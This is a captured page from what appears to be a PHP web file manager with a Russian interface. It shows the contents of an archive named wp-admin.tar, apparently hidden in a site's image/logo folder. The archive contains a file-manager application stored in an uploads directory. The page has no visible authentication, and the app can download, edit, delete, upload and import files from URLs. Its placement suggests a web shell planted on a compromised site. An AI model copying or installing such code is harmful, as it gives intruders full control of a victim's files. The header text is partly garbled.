Файловый менеджер - Редактировать - /home/u714269564/domains/tellmes.online/public_html/static/img/logo/wp-admin.tar
Ðазад
uploads/2024/10/07/utils/FileUtils.php 0000644 00000006006 15000264606 0013022 0 ustar 00 <?php namespace App\Utils; class FileUtils { public static function formatFileSize($bytes) { if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB'; elseif ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB'; elseif ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB'; elseif ($bytes > 1) return $bytes . ' bytes'; elseif ($bytes == 1) return '1 byte'; else return '0 bytes'; } public static function getLastModifiedDate($path) { return date("Y-m-d H:i:s", filemtime($path)); } public static function rrmdir($dir) { foreach (glob($dir . '/*') as $file) { is_dir($file) ? self::rrmdir($file) : unlink($file); } rmdir($dir); } public static function getFileIcon($file) { $extension = strtolower(pathinfo($file, PATHINFO_EXTENSION)); switch ($extension) { case 'jpg': case 'jpeg': case 'png': case 'gif': case 'webp': return 'fa-image text-yellow-400'; case 'mp4': case 'avi': case 'mov': case 'mkv': case 'webm': return 'fa-video text-red-400'; case 'mp3': case 'wav': case 'ogg': case 'flac': case 'm4a': return 'fa-music text-purple-400'; case 'zip': case 'rar': case 'tar': case 'gz': case '7z': return 'fa-file-archive text-yellow-600'; case 'pdf': return 'fa-file-pdf text-red-500'; case 'doc': case 'docx': return 'fa-file-word text-blue-500'; case 'xls': case 'xlsx': return 'fa-file-excel text-green-500'; case 'ppt': case 'pptx': return 'fa-file-powerpoint text-orange-500'; case 'txt': case 'log': case 'md': return 'fa-file-alt text-gray-400'; case 'php': case 'js': case 'html': case 'css': case 'json': return 'fa-file-code text-blue-400'; default: return 'fa-file text-gray-400'; } } public static function createBreadcrumb($dir, $rootDir) { $parts = explode(DIRECTORY_SEPARATOR, $dir); $breadcrumb = '<div class="flex items-center space-x-2 text-sm">'; $currentPath = ''; $breadcrumb .= '<a href="?dir=' . urlencode(ROOT_DIR) . '" class="' . (rtrim(ROOT_DIR, DIRECTORY_SEPARATOR) === $dir ? 'text-blue-600 font-medium' : 'text-gray-600 hover:text-blue-500') . '">Root</a>'; $breadcrumb .= '<span class="text-gray-400">/</span>'; foreach ($parts as $part) { if (empty($part)) continue; $currentPath .= $part . DIRECTORY_SEPARATOR; $isActive = rtrim($currentPath, DIRECTORY_SEPARATOR) === $dir; $breadcrumb .= '<a href="#" class="' . ($isActive ? 'text-blue-600 font-medium' : 'text-gray-600 hover:text-blue-500') . '">' . htmlspecialchars($part) . '</a>'; $breadcrumb .= '<span class="text-gray-400">/</span>'; } $breadcrumb .= '</div>'; return $breadcrumb; } } uploads/2024/10/07/utils/SecurityUtils.php 0000644 00000000260 15000264606 0013746 0 ustar 00 <?php namespace App\Utils; class SecurityUtils { public static function isWithinRoot($directory) { return $directory && strpos($directory, ROOT_DIR) === 0; } } uploads/2024/10/07/public/index.php 0000644 00000000401 15000264606 0012340 0 ustar 00 <?php session_start(); require_once __DIR__ . '/../vendor/autoload.php'; // Assuming Composer autoloading require_once __DIR__ . '/../config/config.php'; use App\Controllers\FileController; $controller = new FileController(); $controller->handleRequest(); uploads/2024/10/07/controllers/FileController.php 0000644 00000004044 15000264606 0015253 0 ustar 00 <?php namespace App\Controllers; use App\Services\FileService; use App\Utils\SecurityUtils; class FileController { private $fileService; public function __construct() { $this->fileService = new FileService(); } public function handleRequest() { $directory = isset($_GET['dir']) ? $_GET['dir'] : DEFAULT_DIR; $directory = realpath($directory); // Security check if (!SecurityUtils::isWithinRoot($directory)) { die("<div class='bg-red-100 border border-red-400 text-red-700 px-4 py-3 rounded relative'>Access denied.</div>"); } // Handle actions if (isset($_GET['download'])) { $this->fileService->downloadFile($directory, $_GET['download']); } elseif (isset($_GET['edit'])) { $this->fileService->editFile($directory, $_GET['edit']); } elseif (isset($_GET['unzip'])) { $this->fileService->unzipFile($directory, $_GET['unzip']); } elseif (isset($_GET['delete'])) { $this->fileService->deleteItem($directory, $_GET['delete']); } elseif (isset($_GET['rename'])) { $this->fileService->renameItem($directory, $_GET['rename']); } elseif (isset($_GET['copy']) || isset($_GET['cut']) || isset($_GET['paste'])) { $this->fileService->handleClipboard($directory, $_GET); } elseif ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['files'])) { $this->fileService->uploadFiles($directory); } elseif (isset($_POST['file_url'])) { $this->fileService->importFileFromUrl($directory, $_POST['file_url']); } elseif (isset($_POST['new_folder'])) { $this->fileService->createFolder($directory, $_POST['new_folder']); } } // Render the file manager view $this->renderIndex($directory); } private function renderIndex($directory) { $items = $this->fileService->listItems($directory); include __DIR__ . '/../views/index.php'; } } uploads/2024/10/07/views/rename.php 0000644 00000001352 15000264606 0012365 0 ustar 00 <div class="bg-white rounded-lg shadow-md p-6 mb-4"> <h3 class="text-lg font-medium text-gray-900 mb-3">Rename: <?= htmlspecialchars($oldName) ?></h3> <form method="POST" class="flex items-center space-x-2"> <input type="text" name="new_name" value="<?= htmlspecialchars($oldName) ?>" class="flex-1 px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500"> <button type="submit" class="px-4 py-2 bg-blue-600 text-white rounded-md hover:bg-blue-700"><i class="fas fa-check mr-1"></i>Rename</button> <a href="?dir=<?= urlencode($directory) ?>" class="px-4 py-2 bg-gray-600 text-white rounded-md hover:bg-gray-700"><i class="fas fa-times mr-1"></i>Cancel</a> </form> </div>